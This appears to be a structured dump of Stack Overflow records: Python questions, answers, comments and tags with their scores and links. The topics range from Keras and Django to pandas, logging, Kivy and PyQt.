has answer: http://stackoverflow.com/a/47360497
has title: How to get the output of dense layer as a numpy array using keras and tensorflow backend?
tagged with: keras
tagged with: tensorflow
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/81426101
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47234912
type: Comment
has text: Okay, I feel bad I didn't think of this one, which is my favourite of all the solutions posted. I think I have a mental block against medians because of the situations in which it can return a value not in the sequence, but that can't apply here..

http://stackoverflow.com/a/47358344
answers question: http://stackoverflow.com/q/47343490
has body: Generally no, when CPython write bytecode cache file, it first write to a temporary file, then move to the desired location with os.replace. os.replace uses rename(2) system call underlying, rename() is atomic if the OS/filesystem does not crash in the middle. As a result bytecode file write is atomic. IMHO what you should worry about is bytecode cache file stale checking. Python check cache file freshness with source file stat.mtime (and file size). The caveat is, resolution of mtime being used by python is one second, thus if one process modified source file while another process is writing cache file in the same second, left the bytecode cache file inconsistent with source and will not get refreshed later. Good news is pep-0552 get accepted, changed to hashed based cache file, which will take care of this case.
type: Answer
accepted answer of: http://stackoverflow.com/q/47343490
score: 5
upvote count: 5
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/47227382
upvote count: 3
downvote count: 0
type: AcceptedAnswer
has body: ^(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9])(?=.*[@#$%^&amp;+=]).{8,25}$ You can try this.Each condition is added using lookahead.Add more special characters if you want. See demo.
score: 3
accepted answer of: http://stackoverflow.com/q/47227236
type: Answer
answers question: http://stackoverflow.com/q/47227236

http://stackoverflow.com/comment/81716283
type: Comment
type: AnswerComment
has text: @JamesLovesPython Try, this new code. I have reattached `stdout` to console again.
comment on: http://stackoverflow.com/a/47376812
score: 0

http://stackoverflow.com/comment/81436498
has text: Is `/usr/local/bin` or `/usr/local/bin/python` a symlink?
comment on: http://stackoverflow.com/q/47242508
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81711069
comment on: http://stackoverflow.com/q/47379353
type: QuestionComment
has text: Can you tell me where i have to put the numpy.array?, because I didn´t get you.
score: 0
type: Comment

http://stackoverflow.com/q/47256548
has title: django - cannot save password correctly in form
answer count: 1
tagged with: forms
has body: I am trying to have a form that allows the user to change password. Everytime I change the password, it cannot login. for example if password is "jake", I change to "jake1", I cant login with the password "jake1" or even "jake" Here is how the form looks like: https://i.sstatic.net/W4fff.jpg https://gitlab.com/firdausmah/railercom/blob/master/railercomapp/views.py @login_required(login_url='/employee/sign-in/') def employee_account(request): employee_form = EmployeeFormEdit(instance = request.user) if request.method == "POST": employee_form = EmployeeFormEdit(request.POST, instance = request.user) if employee_form.is_valid(): employee_form.save() return render(request, 'employee/account.html', { "employee_form":employee_form }) https://gitlab.com/firdausmah/railercom/blob/master/railercomapp/forms.py class EmployeeFormEdit(forms.ModelForm): password = forms.CharField(widget=forms.PasswordInput()) class Meta: model = User fields = ("password",) https://gitlab.com/firdausmah/railercom/blob/master/railercomapp/templates/employee/account.html {% csrf_token %} {% bootstrap_form employee_form %} Update https://gitlab.com/firdausmah/railercom/blob/master/railercomapp/models.py Its just using the standard User model class Employee(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE)
accepted answer: http://stackoverflow.com/a/47256683
type: Question
tagged with: view
has answer: http://stackoverflow.com/a/47256683
tagged with: django
tagged with: python
type: AnsweredQuestion
tagged with: passwords
score: 0

http://stackoverflow.com/comment/81735903
comment on: http://stackoverflow.com/a/47390341
score: 0
type: AnswerComment
type: Comment
has text: This is just an example. Thanks for your code. One question: is that faster the the for loop? That is why I was actually looking for a list comprehension or generator expression solution. Cheers!

http://stackoverflow.com/comment/81700494
comment on: http://stackoverflow.com/q/47373827
score: 0
type: QuestionComment
type: Comment
has text: Use a Python virtual environment. Installing/upgrading packages into system Python using ``pip`` is a bad idea because you are potentially trashing the operating system versions of the packages.

http://stackoverflow.com/q/47237151
tagged with: list
has comment: http://stackoverflow.com/comment/81425565
has comment: http://stackoverflow.com/comment/81424513
answer count: 1
has body: I have a dictionary of monsters, which I get enemies from by choosing a random integer and matching it to the first number in the dictionary value (it's a list) #NAME: ID, HP, MP, ATK, DEF, MGATK, MGDEF, SPEED, EXPSHARE, IMG monsters_list = {"BOXROACH": [1, 20, 5, 5, 5, 5, 5, 5, 5, pg.image.load("boxcroach.png")], for i in range(amt): monster = random.randint(1, len(self.monsters)) for key in self.monsters: if self.monsters[key][0] == monster: monsters.append([key, self.monsters[key]]) So amt is a number between 1 and 3 which decides how many monsters will be facing, and then it goes through the dictionary to match the first index of the value and then append the monster to a list, which ends up looking like this: [['SLUGGER', [2, 20, 10, 5, 3, 8, 7, 11, 7, &lt;Surface(150x160x32 SW)&gt;]], ['SLUGGER', [2, 20, 10, 5, 3, 8, 7, 11, 7, &lt;Surface(150x160x32 SW)&gt;]], ['MEAN SPIRIT', [10, 15, 15, 5, 5, 5, 5, 5, 20, &lt;Surface(100x100x32 SW)&gt;]]] (ignore the dumb names) What I want to do is to check if there are multiple of the same enemy, and then differentiate them in some way. I was originally going to go through to add all the indexes to another list and then compare them, but is there a more efficient way to do this? Thanks.
has comment: http://stackoverflow.com/comment/81425535
has title: Check if something is in a list multiple times?
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/47237224
has answer: http://stackoverflow.com/a/47237224
tagged with: python
tagged with: dictionary
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/81598941
has text: Yes, you can do this. Check [this](https://stackoverflow.com/questions/2862084/how-do-i-create-sub-applications-in-django) answer
comment on: http://stackoverflow.com/q/47323242
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47332588
tagged with: optimization
has comment: http://stackoverflow.com/comment/87286500
tagged with: rdkit
score: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/81621461
has title: How to search faster, RDkit and Pandas, Chemical Database
has comment: http://stackoverflow.com/comment/81617432
type: Question
answer count: 0
type: UnansweredQuestion
has body: I am trying to search through a large chemical database (chembl, >1,000,000 entries), and am having problems executing code on my work computer. Our focus is chemicals, so high quality computers are not available. My code is below, and works quickly for smaller entries (>5,000 entries). When looking at the full dataset, my 4GB of ram fills, and the computer halts. Any way to complete this task more effectively? import pandas as pd from rdkit.Chem import PandasTools from rdkit.Chem import Descriptors filename1 = "chembl_22_chemreps_1" fg = pd.read_csv('data/%s.txt' %filename1, sep='\t') #fg=fg.head(5000) fg.drop(fg.columns[[2, 3]], axis=1,inplace=True) PandasTools.AddMoleculeColumnToFrame(fg, smilesCol='canonical_smiles') fg['MW']=fg['ROMol'].map(Descriptors.MolWt) fg['Aromatic']=fg['ROMol'].map(Descriptors.NumAromaticRings) fg['Aliphatic']=fg['ROMol'].map(Descriptors.NumAliphaticRings) fg = fg[(fg['Aromatic'] ==0) &amp; (fg['Aliphatic'] ==0) &amp; (fg['MW'] &lt; 1000) &amp; (fg['MW'] &gt; 50)] The code loads the database, converts the smiles to RDkit molecular info, searches and removes rings, or molecules with MW below 50, above 1000. Any tips?
tagged with: database
tagged with: python

http://stackoverflow.com/comment/81463641
comment on: http://stackoverflow.com/q/47256342
type: QuestionComment
has text: So, you want `M * x[:, None]`?
type: Comment
score: 0

http://stackoverflow.com/a/53089169
downvote count: 1
upvote count: 4
has comment: http://stackoverflow.com/comment/127191100
type: Answer
score: 3
has body: I'm sure you figured this out by now, but you can simply add in the comment at the top of the cell: # @hidden_cell
answers question: http://stackoverflow.com/q/47255288

http://stackoverflow.com/comment/81464576
score: 0
type: Comment
type: QuestionComment
has text: @eyllanesc Yes, clearly that's the problem. Can that problem be solved in this type of plotting situations?
comment on: http://stackoverflow.com/q/47256606

bots
tags question: http://stackoverflow.com/q/47264630
type: Tag
tag name: bots
tags question: http://stackoverflow.com/q/47319351
tags question: http://stackoverflow.com/q/47325614

http://stackoverflow.com/comment/81634835
score: 0
comment on: http://stackoverflow.com/q/47341102
type: Comment
has text: Yes you are correct. Think of the numbers as people. So 1 will be friends with 4 it means that 4 will also be friends with 1.
type: QuestionComment

http://stackoverflow.com/comment/81457142
comment on: http://stackoverflow.com/a/47253297
has text: The name I use in my head is "pass reference by value", but it's not that common a name choice. Somehow these semantics just never got a good name established. Instead of (or in addition to) referring to it by name, we have to refer to it by example or by a paragraph of explanation.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81589586
comment on: http://stackoverflow.com/q/47319066
type: Comment
type: QuestionComment
has text: @juanpa.arrivillaga as for class level variable (which I learnt only now that it is static) it was a formatting error in stackoverflow.
score: 0

http://stackoverflow.com/q/47247957
linked to: http://stackoverflow.com/q/43730903
downvote count: 0
score: 13
tagged with: boto3
accepted answer: http://stackoverflow.com/a/47253352
favorite count: 0
has comment: http://stackoverflow.com/comment/81456365
has answer: http://stackoverflow.com/a/47253352
type: AnsweredQuestion
has title: Uploading file to AWS S3 through Chalice API call
has body: I'm trying to upload a file to my S3 bucket through Chalice (I'm playing around with it currently, still new to this). However, I can't seem to get it right. I have AWS setup correctly, doing the tutorial successfully returns me some messages. Then I try to do some upload/download, and problem shows up. s3 = boto3.resource('s3', region_name=&lt;some region name, in this case oregon&gt;) BUCKET= 'mybucket' UPLOAD_FOLDER = os.path.abspath('') # the file I wanna upload is in the same folder as my app.py, so I simply get the current folder name @app.route('/upload/{file_name}', methods=['PUT']) def upload_to_s3(file_name): s3.meta.client.upload_file(UPLOAD_FOLDER+file_name, BUCKET, file_name) return Response(message='upload successful', status_code=200, headers={'Content-Type': 'text/plain'} ) Please don't worry about how I set my file path, unless that's the issue, of course. I got the error log: No such file or directory: '' in this case file_name is just mypic.jpg. I'm wondering why the UPLOAD_FOLDER part is not being picked up. Also, for the reference, it seems like using absolute path will be troublesome with Chalice (while testing, I've seen the code being moved to /var/task/) Does anyone know how to set it up correctly? EDIT: the complete script from chalice import Chalice, Response import boto3 app = Chalice(app_name='helloworld') # I'm just modifying the script I used for the tutorial s3 = boto3.client('s3', region_name='us-west-2') BUCKET = 'chalicetest1' @app.route('/') def index(): return {'status_code': 200, 'message': 'welcome to test API'} @app.route('/upload/{file_name}, methods=['PUT'], content_types=['application/octet-stream']) def upload_to_s3(file_name): try: body = app.current_request.raw_body temp_file = '/tmp/' + file_name with open(temp_file, 'wb') as f: f.write(body) s3.upload_file(temp_file, BUCKET, file_name) return Response(message='upload successful', headers=['Content-Type': 'text/plain'], status_code=200) except Exception, e: app.log.erro…
answer count: 1
tagged with: python
tagged with: chalice
upvote count: 13
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81453832

http://stackoverflow.com/comment/81536280
comment on: http://stackoverflow.com/a/47273597
has text: Working, thanks to your suggestion, see update. Millions of thanks
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47312429
has comment: http://stackoverflow.com/comment/81577697
answers question: http://stackoverflow.com/q/47311816
has body: You can use the os module in python to have a command executed exactly as it would be in a command shell. For example, if you have a file named "junk.txt" and want to use the "head" command on it, you would write head junk.txt in your shell. In Python, it's import os os.system("head junk.txt")
type: Answer
score: 0

http://stackoverflow.com/q/47233101
type: Question
type: AnsweredQuestion
score: 3
upvote count: 3
has title: Python - Is there a way to get who is calling (called from IDLE/Shell)
tagged with: python
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81420030
answer count: 1
has answer: http://stackoverflow.com/a/47233142
downvote count: 0
accepted answer: http://stackoverflow.com/a/47233142
has body: Is there a way to get is the method called from IDLE/python shell? For example: def print_in_console(): if called_from_python_shell: print('Called from console') ...do other stuff later
favorite count: 0

http://stackoverflow.com/comment/81424978
comment on: http://stackoverflow.com/a/47234346
score: 1
type: Comment
has text: This worked! Except the part of the apply function, as all the values were not seen as floats or integers, but the 'astype' functions worked. I don't know why, but I have tried that one before and it didn't work then. Maybe I changed the code after I tried it. Thanks so much for your effort @coldspeed, WillemVanOnsem and of course akubot!
type: AnswerComment

http://stackoverflow.com/q/47252916
tagged with: logging
favorite count: 0
type: Question
has title: Python3 logging: Only send ERROR to screen not INFO
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81456292
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47254249
has body: What have I missed? I have a project with lots of files and modules. I want each module, and some classes, to have their own log file. For the most part I want just INFO and ERROR logged, but occasionally I'll want DEBUG. However, I only want ERROR sent to the screen (iPython on Spyder via Anaconda). This is high speed code getting network updates several times each millisecond and printing all the INFO messages is not only very annoying but crashes Spyder. In short, I want only ERROR sent to the screen. Everything else goes to a file. Below is my code for creating a separate log file for each class. It is called in the __init__ method of each class that should log items. The name argument is typically __class__.__name__. The fname argument is set as well. Typically, the lvl and formatter args are left with the defaults. The files are being created and they look more or less correct. My searches are not turning up useful items and I'm missing something when I read the Logging Cookbook. Code: import logging, traceback import time, datetime import collections standard_formatter = logging.Formatter('[{}|%(levelname)s]::%(funcName)s-%(message)s\n'.format(datetime.datetime.utcnow())) standard_formatter.converter = time.gmtime logging.basicConfig(level=logging.ERROR, filemode='w') err_handler = logging.StreamHandler() err_handler.setLevel(logging.ERROR) err_handler.setFormatter(standard_formatter) Log = collections.namedtuple( 'LogLvls', [ 'info', 'debug', 'error', 'exception' ] ) def setup_logger( name: str, fname: [str, None]=None, lvl=logging.INFO, formatter: logging.Formatter=standard_formatter ) -&gt; Log: logger = logging.getLogger(name) if fname is None: handler = logging.StreamHandler() else: handler = logging.FileHandler(fname, mode='a') handler.setFormatter(formatter) logger.setLevel(lvl) logger.addHandler(handler) logger.addHandler(err_handler) return Log( debug=lambda msg: logger.debug('{}::{}'.format(name, msg)), info=lambda msg: logger.info('{}::{}'.format(n…
has answer: http://stackoverflow.com/a/47254249
downvote count: 0
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81462129

http://stackoverflow.com/a/47282269
score: 1
type: AcceptedAnswer
downvote count: 0
has body: One way would be to take the original XML, determine the in use, then make copies of the XML and remove all tags that don't match: import xml.etree.ElementTree as ET import copy img_xml = """<?xml version="1.0" encoding="UTF-8"?> dataset containing bounding box labels on images created by BBTag <tag name="ScoreBoard-Vivon" color="#bf5786"/> <tag name="Perimeter-Vivon" color="#032585"/> Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon ScoreBoard-Vivon """ root = ET.fromstring(img_xml) tag_names = [tag.attrib['name'] for tag in root.find('tags')] for tag_name in tag_names: root_copy = copy.deepcopy(root) # First remove unwanted tag for tag in root_copy.find('tags'): if tag.attrib['name'] != tag_name: tag.clear() # Now remove unwanted box for box in root_copy.findall("./images/image/box"): if box[0].text != tag_name: box.clear() ET.ElementTree(root_copy).write('{}.xml'.format(tag_name)) Giving you two output XML files: Perimeter-Vivon.xml dataset containing bounding box labels on images created by BBTag <tag /><tag color="#032585" name="Perimeter-Vivon" /> Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon ScoreBoard-Vivon.xml dataset containing bounding box labels on images created by BBTag <tag color="#bf5786" name="ScoreBoard-Vivon" /> <tag /> ScoreBoard-Vivon
has comment: http://stackoverflow.com/comment/81604865
type: Answer
accepted answer of: http://stackoverflow.com/q/47280862
answers question: http://stackoverflow.com/q/47280862
upvote count: 1

http://stackoverflow.com/q/47282808
has comment: http://stackoverflow.com/comment/81517466
score: 1
has comment: http://stackoverflow.com/comment/81516773
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81528894
downvote count: 0
answer count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81524572
has body: I have a matplotlib graph in my kivy app which I want to update every second with streaming data. So far what I have behaves a little weird. It does update but only when I resize my window a little fig, ax = plt.subplots() width = 0.65 ax.set_title('Scores by group and gender') bar_canvas = fig.canvas class Test(BoxLayout): catA = NumericProperty(0) catB = NumericProperty(0) catC = NumericProperty(0) #plot the bar graph def plot(self, dt): catA_rects = ax.bar(5, self.catA, width, color='g') catB_rects = ax.bar(6, self.catB, width, color='#808080') catC_rects = ax.bar(7, self.catC, width, color='r') ax.legend((catA_rects[0], catB_rects[0], catC_rects[0]), ('Category A', 'Category B', 'Category C')) #update the graph def update(self): Clock.schedule_interval(self.plot,1) def classify_sample(self, test_sample): result_prob = classifier.predict_proba(test_sample)[0] result = classifier.predict(test_sample)[0] if result_prob.max() &gt; 0.55: if result == 1: self.catA += 1 else: self.catC += 1 else: self.catB += 1 class ClassificationApp(App): def build(self): res = Test() res.bar_tab.add_widget(bar_canvas) res.update() return res if __name__ == '__main__': ClassificationApp().run() In 'kv' file I call classify_sample to display the results inside a RecycleView Viewclass Label: text: app.root.classify_sample(data) I'm updating the plot function with Clock.schedule_interval(self.plot,1) which is working when I'm printing the output on the screen but the plot isn't getting updated when the value of catA, catB or catC changes It only updates when I resize my app window a little Also is there another way to add graphs other than matplotlib? Matplotlib wont work when I package this for android right?
has title: Kivy update matplotlib graph with kivy.clock
has comment: http://stackoverflow.com/comment/81517336
upvote count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47361599
tagged with: kivy
has answer: http://stackoverflow.com/a/47361599
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81582203

http://stackoverflow.com/q/47235333
tagged with: python
has title: How to create grid of drawing using python's turtle
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/47243855
has answer: http://stackoverflow.com/a/47235925
has body: I made the letter "U" using turtle, but now i need to make several copies of it to form a grid of 3 rows and 4 columns. I was trying to use a nested loop, but I do not how to make the drawing move position to create the grid. it should end up something like this logo grid def draw_U(posx, posy, color): t = turtle.Turtle() t.speed(10) t.ht() #hides the turtle/pen t.penup() t.setposition(posx,posy) t.pendown() t.color(color) t.begin_fill()#starts filling t.forward(60)#line 1 starting at top left corner of the 'U' t.right(90) t.forward(25) #line 2 t.right(90) t.forward(8) #line 3 t.left(90) t.forward(138)#line 4 t.left(45) t.forward(13) #line 5 t.left(45) t.forward(75) #line 6 t.left(45) t.forward(13) #line 7 t.left(45) t.forward(138) #line 8 t.left(90) t.forward(8) #line 9 t.right(90) t.forward(25) #line 10 t.right(90) t.forward(60) #line 11 t.right(90) t.forward(25) #line 12 t.right(90) t.forward(8) #line 13 t.left(90) t.forward(163)#line 14 t.right(45) t.forward(35) #line 15 t.right(45) t.forward(133) #line 16 t.right(45) t.forward(35) #line 17 t.right(45) t.forward(163) #line 18 t.left(90) t.forward(8) #line 19 t.right(90) t.forward(25) #line 20 t.end_fill() #completely fills shape def draw_Grid(posx, posy, rows, cols): t= turtle.Turtle() t.ht() for i in range(cols): for j in range(rows): print(draw_UH(posx, posy, 'red')) draw_Grid(-300, 300, 3, 4)
type: Question
tagged with: turtle-graphics
type: UnansweredQuestion

http://stackoverflow.com/q/47320316
upvote count: 1
score: 1
favorite count: 0
type: AnsweredQuestion
has title: Creating a pandas column conditional to another columns values
has answer: http://stackoverflow.com/a/47321760
possible better answer: http://stackoverflow.com/a/47321760
tagged with: python
has answer: http://stackoverflow.com/a/47320377
accepted answer: http://stackoverflow.com/a/47320377
has body: I'm trying to create a class column in a pandas dataframe conditional another columns values. The value will be 1 if the other column's i+1 value is greater than the i value and 0 otherwise. For example: column1 column2 5 1 6 0 3 0 2 1 4 0 How do create column2 by iterating through column1?
type: Question
tagged with: numpy
answer count: 2
downvote count: 0
tagged with: pandas

http://stackoverflow.com/a/47233924
has comment: http://stackoverflow.com/comment/81418357
type: Answer
has body: I think this would do it In the OPs post we return the value True because in the list compares 1 in both the list and checks validates its truth and return True it does not check the next value 7 and so on and the function does not continue to execute the rest of the list element because of the return True statement so removing that and placing at the end of the two loops will ensure that the after checking all the conditions the True case is returned as the result def reOrder(list1, list2): if len(list1) != len(list2): return False for element1 in list1: foundElement = False for element2 in list2: if element1 ==element2: foundElement=True if foundElement ==False: return False return True print(reOrder([1,3,10,8,4,2], [3,1,8,10,2,4])) OUTPUT False i would prefer sorting the two lists and then checking the corresponding element as the complexity would reduce to O(n*logn) as this code is clearly o(n2)
has comment: http://stackoverflow.com/comment/81418467
score: 0
answers question: http://stackoverflow.com/q/47233890

http://stackoverflow.com/q/47238478
has body: so I am trying to learn Python and am struggling with this question. Its asking to create a program where you enter the hours and the hour rate. for every hour worked over 40 the hour rate will be increased by a 1.5 rate. I've searched for the error (can't assign to operator) but all they say is that I can't assign a value to an expression. horas = float(input("entra las horas trabajadas\n")) porHora = float(input("entra cantidad por hora\n")) overTime = 40.0 #defining otMult = 1.5 ganancias = (horas * porHora) if horas &gt; overTime : horas - overTime = overtimeHr (overtimeAm * porHora) * otMult = overtimeAm overtimeAm + ganancias = gananciasOt print(gananciasOt) else : print(ganancias)
has answer: http://stackoverflow.com/a/47238565
type: Question
answer count: 2
has title: can't assign to operator - python (overtime hours)
possible better answer: http://stackoverflow.com/a/47238721
tagged with: python
has answer: http://stackoverflow.com/a/47238721
has comment: http://stackoverflow.com/comment/81426998
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47238565

http://stackoverflow.com/q/47289852
score: 1
favorite count: 0
tagged with: abstract-syntax-tree
type: Question
answer count: 0
type: UnansweredQuestion
tagged with: python
has body: I have a .py file that contains the definition of a class. I cannot change that file. I have parsed the contents of that file and gotten an abstract syntax tree (ast) for it, more specifically I've got an instance of ast.ClassDef(). How can I instantiate that class from the ast.ClassDef()? Here's a contrived demo showing what I want to do: import ast src = """ class MyClass(): def __init__(): self.a = 1 self.b = 2 self.thesum = self.a + self.b """ p = ast.parse(src) class_ = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)][0] class_ #I want to instantiate the class that is referenced by class_ Googling suggests that maybe compile() could help but I couldn't get that to work as it seems to expect executable code rather than a class definition. In other words, this didn't do very much: exec(compile(class_.body, "fakemodule", 'exec')) it throws an error: TypeError: expected a readable buffer object So, how can I instantiate that class?
has comment: http://stackoverflow.com/comment/81531090
has title: Instantiate a class from an abstract syntax tree
downvote count: 0
has comment: http://stackoverflow.com/comment/81541053
upvote count: 1

http://stackoverflow.com/comment/81661697
score: 0
comment on: http://stackoverflow.com/q/47353964
has text: (This isn't rhetorical, asking for my own learning) Is the alert guaranteed to exist instantaneously from when when .click() returns on the accept button?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81587679
comment on: http://stackoverflow.com/q/47318189
type: Comment
type: QuestionComment
score: 0
has text: As an array of C strings, which is what they *actually are*. It has no way of knowing what they were before they were transformed into that by the shell.

http://stackoverflow.com/a/51659456
has body: To make it simple I will take the two versions of the code in keras and tf.keras. The example here is a simple Neural Network Model with different layers in it. In Keras (v2.1.5) from keras.models import Sequential from keras.layers import Dense def get_model(n_x, n_h1, n_h2): model = Sequential() model.add(Dense(n_h1, input_dim=n_x, activation='relu')) model.add(Dense(n_h2, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(4, activation='softmax')) model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) print(model.summary()) return model In tf.keras (v1.9) import tensorflow as tf def get_model(n_x, n_h1, n_h2): model = tf.keras.Sequential() model.add(tf.keras.layers.Dense(n_h1, input_dim=n_x, activation='relu')) model.add(tf.keras.layers.Dense(n_h2, activation='relu')) model.add(tf.keras.layers.Dropout(0.5)) model.add(tf.keras.layers.Dense(4, activation='softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy']) print(model.summary()) return model or it can be imported the following way instead of the above-mentioned way from tensorflow.keras.layers import Dense The official documentation of tf.keras Note: TensorFlow Version is 1.9
downvote count: 0
score: 6
upvote count: 6
answers question: http://stackoverflow.com/q/47262955
has comment: http://stackoverflow.com/comment/101056721
type: Answer

http://stackoverflow.com/a/47381738
has comment: http://stackoverflow.com/comment/81719395
has comment: http://stackoverflow.com/comment/81717389
accepted answer of: http://stackoverflow.com/q/47380658
type: Answer
has comment: http://stackoverflow.com/comment/81751347
has comment: http://stackoverflow.com/comment/81749562
has comment: http://stackoverflow.com/comment/81718827
score: 0
has comment: http://stackoverflow.com/comment/81719204
answers question: http://stackoverflow.com/q/47380658
has comment: http://stackoverflow.com/comment/81718923
has comment: http://stackoverflow.com/comment/81718716
has body: A QGridLayout does not delete any rows when its widgets are removed - but the empty rows do not take up any space, so you won't usually notice them. If you add widgets beyond the current row-count, the layout will simply grow to the required size. So if the current row-count is 5, and you add a widget at row 10, the row-count will immediately change to 10, and five empty intervening rows will be created. A grid-layout always starts with a row-count of one. But in your code, you use r + 1 when adding widgets: for r in range(self.grille_3_stack_3.rowCount()): ... self.grille_3_stack_3.addWidget(self.dico_vocab_mot[r], r+1, 0) self.grille_3_stack_3.addWidget(self.dico_vocab_def[r], r+1, 1) # Ecriture des n°s de lignes dans la partie mots de vocabulaire self.grille_3_stack_3.addWidget(self.dico_vocab_mot[r].setText(str(r+1)+'. '), r+1, 0) This will skip the first row, and start adding widgets a row index 1. So after adding five rows of widgets, the row-count will be six, rather than five. And every time you delete and re-add the widgets, the row-count will grow by one. Your code should instead look like this: for r in range(self.grille_3_stack_3.rowCount()): ... self.grille_3_stack_3.addWidget(self.dico_vocab_mot[r], r, 0) self.grille_3_stack_3.addWidget(self.dico_vocab_def[r], r, 1) self.dico_vocab_mot[r].setText(str(r+1)+'. ') (Note that I have also fixed the last line here, which previously made no sense). EDIT: As per the comments, here are the changes needed so that one row is added for each click of the first button, and all rows are cleared when clicking the second button. class EssaiQStackedWidget_Seq_Prof(QWidget) : def __init__(self, parent=None): ... self.dico_vocab_mot = {} self.dico_vocab_def = {} self.liste_mots_vocabulaire = [] self.liste_menu.currentIndexChanged.connect(self.affiche_phases) def ajouter_un_mot_vocab(self) : r = len(self.liste_mots_vocabulaire) self.dico_vocab_mot[r] = QTextEdit() self.dico_vocab_def[r] = QTextEdit() self.dico_vocab_mot[r]…
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81718489

http://stackoverflow.com/a/47335899
accepted answer of: http://stackoverflow.com/q/47335591
answers question: http://stackoverflow.com/q/47335591
type: Answer
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: You create players_count_message at the first and sent it again and again! Change Your server code to this: def worker(cs): . . . players_count_message = "There are currently %s players in game." while not client_guessed: try: . . . if cnumber &gt; my_num: cs.sendall(b'S') cs.sendall(bytes(players_count_message %(str(client_count)), 'ascii')) if cnumber &lt; my_num: cs.sendall(b'H') cs.sendall(bytes(players_count_message %(str(client_count)), 'ascii')) . . . Also, You must check if a players left the game, or connections closed, You must discount that variable.

google-oauth
type: Tag
tags question: http://stackoverflow.com/q/47295241
tag name: google-oauth
tags question: http://stackoverflow.com/q/47309584

http://stackoverflow.com/q/47226362
tagged with: selection
type: Question
tagged with: python-3.x
tagged with: python
has body: I need to have a fitness proportionate selection approach to a GA, however my population cant loose the structure (order), in this case while generating the probabilities, I believe the individuals get the wrong weights, the program is: population=[[[0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1], [6], [0]], [[0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1], [4], [1]], [[0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0], [6], [2]], [[1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0], [4], [3]]] popultion_d={'0,0,1,0,1,1,0,1,1,1,1,0,0,0,0,1': 6, '0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,1': 4, '0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0': 6, '1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0': 4} def ProbabilityList(population_d): fitness = population_d.values() total_fit = (sum(fitness)) relative_fitness = [f/total_fit for f in fitness] probabilities = [sum(relative_fitness[:i+1]) for i in range(len(relative_fitness))] return (probabilities) def FitnessProportionateSelection(population, probabilities, number): chosen = [] for n in range(number): r = random.random() for (i, individual) in enumerate(population): if r &lt;= probabilities[i]: chosen.append(list(individual)) break return chosen number=2 The population element is: [[individual],[fitness],[counter]] The probabilities function output is: [0.42857142857142855, 0.5714285714285714, 0.8571428571428571, 1.0] What I notice here is that the previous weight is summed up to the next one, not necessarily being in crescent order, so a think a higher weight is given to the cromosome with a lowest fitness. I dont want to order it because I need to index the lists by position later, so I think I will have wrong matches. Anyone knows a possible solution, package or different approach to perform a weighted the selection in this case? p.s: I know the dictionary may be redundant here, but I had several other problems using the list itself. Edit: I tried to use random.choices() as you can see below (using relative fitness): def FitnessChoices(population, probabilities…
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47227373
has title: Roulette Wheel Selection for non-ordered fitness values
tagged with: genetic-algorithm
has answer: http://stackoverflow.com/a/47227373
answer count: 1

http://stackoverflow.com/comment/81565923
has text: @PierredeBuyl"The function should be available as requested" Yeah it should be. But here, it is not. You can not state it good or bad. It's about having solution with whatever version of pytest you have.
type: Comment
comment on: http://stackoverflow.com/a/47305268
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81619790
comment on: http://stackoverflow.com/q/47334088
type: QuestionComment
has text: Looks like your `logging.debug(r)` line isn't printing, can you set your log level to `DEBUG` or otherwise show us what the `r` object has for the following values? `r.status_code` and `r.text`?
type: Comment
score: 0

http://stackoverflow.com/a/75559345
